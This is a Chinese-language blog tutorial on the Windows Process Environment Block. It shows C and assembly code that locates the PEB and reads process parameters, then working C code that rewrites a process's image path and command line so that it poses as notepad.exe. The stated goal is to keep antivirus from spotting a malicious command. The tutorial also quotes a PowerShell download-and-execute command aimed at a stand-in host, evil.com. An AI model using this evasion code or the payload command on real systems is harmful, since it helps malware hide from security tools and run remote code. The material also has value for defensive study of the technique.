一、PEB介绍
-
:WIndows 操作系统为每个运行中的进程分配的一个内部数据结构,在用户态Ring3层。
-
核心作用:存储操作系统(如系统加载器
ntdll.dll)在用户态需要频繁访问进程级的全局信息,避免频繁陷入内核态(Ring 0)造成的性能开销 -
寻址:通过当前线程的TEB关联寻找,x86使用
FS寄存器,x64使用GS寄存器。x86 (32位) 环境:
FS寄存器指向当前线程的 TEB。TEB 的偏移0x30处,存着 PEB 的指针。x64 (64位) 环境:
GS寄存器指向当前线程的 TEB。TEB 的偏移0x60处,存着 PEB 的指针。
PEB定位
C语言
#include <windows.h> #include <winternl.h> // 需要包含此头文件以获取 PPEB 定义 #include <stdio.h> int main() { PPEB pPeb = NULL; // 自适应架构 #ifdef _WIN64 // x64: 读取 GS 寄存器偏移 0x60 的位置 pPeb = (PPEB)__readgsqword(0x60); #else // x86: 读取 FS 寄存器偏移 0x30 的位置 pPeb = (PPEB)__readfsdword(0x30); #endif if (pPeb != NULL) { printf("[+] 成功定位 PEB,基址: 0x%p\n", pPeb); } system("pause"); return 0; }
gcc -o PEBDW.exe PEBDW.c

x64汇编
BITS 64 ; 声明代码为64位汇编,默认为32位 SECTION .text ; 代码段 global main ; 声明main为全局符号,让链接器能找到入口 main: ; 程序入口标签 sub rsp,0x28 ; 栈对齐+影子空间 and rsp,0xFFFFFFFFFFFFFFF0 ; 强制将RSP对齐到16字节边界 ; 获取PEB地址 xor rcx,rcx ; 将RCX异或清零 mov rax,[gs:0x60] ; 读取PEB地址,gs段寄存器:x64 Windows中,gs:[0]指向TEB(线程环境块),TEB+0x60指向PEB;[gs:0x60],直接获取PEB的内存地址,存入RAX
二、Parameters 参数操作
如果我们直接在一个cmd/powershell进程中执行了一个恶意载荷命令,如powershell.exe -nop -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
这样可能立即被杀软发现并拦截,所以接下来引出的技术就是我们先利用powershell.exe -help起一个进程,然后修改PEB里的RTL_USER_PROCESS_PARAMETERS,把真实的恶意参数写进入,然后再恢复线程执行。
我们先了解Parameters的结构体
typedef struct _RTL_USER_PROCESS_PARAMETERS { BYTE Reserved1[16]; // 保留字段,偏移0x00 PVOID Reserved2[10]; // 保留字段,偏移0x10 UNICODE_STRING ImagePathName; // 进程路径,偏移0x38 UNICODE_STRING CommandLine; // 命令行参数,偏移0x48 } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;
命令行欺骗
我们再了解一下参数在内存中如何定位
首先是 TEB(FS:[0] (x86) / GS:[0] (x64)指向),PEB(FS:[0x30] (x86) / GS:[0x60] (x64)指向), ProcessParameters 指针 (PEB偏移0x20处)
我们如果在自己进程内获取这个结构代码很简单
#include <windows.h> #include <winternl.h> #include <stdio.h> int main() { // 获取 PEB 基址 #ifdef _WIN64 PPEB pPeb = (PPEB)__readgsqword(0x60); #else PPEB pPeb = (PPEB)__readfsdword(0x30); #endif // 获取 ProcessParameters PRTL_USER_PROCESS_PARAMETERS pParams = (PRTL_USER_PROCESS_PARAMETERS)pPeb->ProcessParameters; // 打印 wprintf(L"进程镜像路径: %s\n", pParams->ImagePathName.Buffer); wprintf(L"当前命令行参数: %s\n", pParams->CommandLine.Buffer); system("pause"); return 0; }

#include <windows.h> #include <winternl.h> #include <stdio.h> int main() { PPEB pPeb; PRTL_USER_PROCESS_PARAMETERS pParams; DWORD oldProtect; // 1. 获取 PEB 基址 #ifdef _WIN64 pPeb = (PPEB)__readgsqword(0x60); #else pPeb = (PPEB)__readfsdword(0x30); #endif // 2. 获取 ProcessParameters pParams = pPeb->ProcessParameters; wprintf(L"[+] 修改前路径: %s\n", pParams->ImagePathName.Buffer); wprintf(L"[+] 修改前命令行: %s\n", pParams->CommandLine.Buffer); // 3. 定义伪装目标 (使用静态或全局空间,确保在进程运行期间有效) static WCHAR fakeImagePath[] = L"C:\\Windows\\System32\\notepad.exe"; static WCHAR fakeCommandLine[] = L"\"C:\\Windows\\System32\\notepad.exe\""; // 4. 修改内存保护属性 // 注意:winternl.h 里的 RTL_USER_PROCESS_PARAMETERS 结构体很大 // 我们直接修改整个结构体所在区域的保护属性 if (!VirtualProtect(pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), PAGE_READWRITE, &oldProtect)) { printf("[-] VirtualProtect 失败: %lu\n", GetLastError()); return 1; } // 5. 执行伪装 // 修改 Buffer 指针指向我们的伪装字符串 pParams->ImagePathName.Buffer = fakeImagePath; pParams->ImagePathName.Length = wcslen(fakeImagePath) * sizeof(WCHAR); pParams->ImagePathName.MaximumLength = (wcslen(fakeImagePath) + 1) * sizeof(WCHAR); pParams->CommandLine.Buffer = fakeCommandLine; pParams->CommandLine.Length = wcslen(fakeCommandLine) * sizeof(WCHAR); pParams->CommandLine.MaximumLength = (wcslen(fakeCommandLine) + 1) * sizeof(WCHAR); // 6. 恢复内存保护属性 VirtualProtect(pParams, sizeof(RTL_USER_PROCESS_PARAMETERS), oldProtect, &oldProtect); wprintf(L"\n[!] 伪装成功!\n"); wprintf(L"[+] 修改后路径: %s\n", pParams->ImagePathName.Buffer); wprintf(L"[+] 修改后命令行: %s\n", pParams->CommandLine.Buffer); printf("\n[i] 现在请保持此窗口开启,在任务管理器或 Process Explorer 中查看此进程信息。\n"); system("pause"); return 0; }
gcc main.c -o spoof.exe -lntdll -m64


非特殊说明,本博所有文章均为博主原创。
共有 0 条评论